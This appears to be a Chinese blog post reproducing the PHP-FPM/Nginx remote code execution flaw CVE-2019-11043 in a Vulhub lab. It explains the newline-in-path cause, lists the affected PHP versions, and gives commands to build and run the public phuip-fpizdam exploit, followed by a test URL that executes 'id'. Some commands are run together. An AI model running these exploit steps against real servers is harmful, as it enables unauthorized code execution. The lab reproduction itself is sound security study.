PHP远程代码执行漏洞复现(CVE-2019-11043)

2022-09-22 19:06:02 浏览数 (1)

0x01 漏洞描述

CVE-2019-11043是一个远程代码执行漏洞,使用某些特定配置的 Nginx PHP-FPM 的服务器存在漏洞,可允许攻击者远程执行代码。

向Nginx PHP-FPM的服务器 URL发送 时,服务器返回异常。

攻击者可以使用换行符(%0a)来破坏fastcgi_split_path_info指令中的Regexp。Regexp被损坏导致PATH_INFO为空,从而触发该漏洞。

0x02 影响范围

在 Nginx PHP-FPM 环境下,当启用了上述 Nginx 配置后,以下PHP 版本受本次漏洞影响,另外,PHP 5.6版本也受此漏洞影响,但目前只能 Crash,不可以远程代码执行:

· PHP 7.0 版本

· PHP 7.1 版本

· PHP 7.2 版本

· PHP 7.3 版本

0x03 漏洞环境:

攻击机:kali

需要安装

Go环境

安装:

sudo apt-get install dockerdocker-compose

sudo apt install golang

工具:

git clonehttps://github.com/neex/phuip-fpizdam.git

cd phuip-fpizdam

go get -v && go build

使用:

cd phuip-fpizdam/

./phuip-fpizdam/

go run . http://ip:8080/index.php

靶机:ubantu

Vulhub

安装:

git clonehttps://github.com/vulhub/vulhub.git

cd vulhub/php/CVE-2019-11043 &&docker-compose up -d

0x04 漏洞复现:

启动环境之后,就可以看到漏洞环境的默认页面。在此为http://ip:8080/index.php。

上边工具安装完成之后,run 一下

然后访问

http://192.168.123.190:8080/index.php?a=id

此次复现成功。

0 人点赞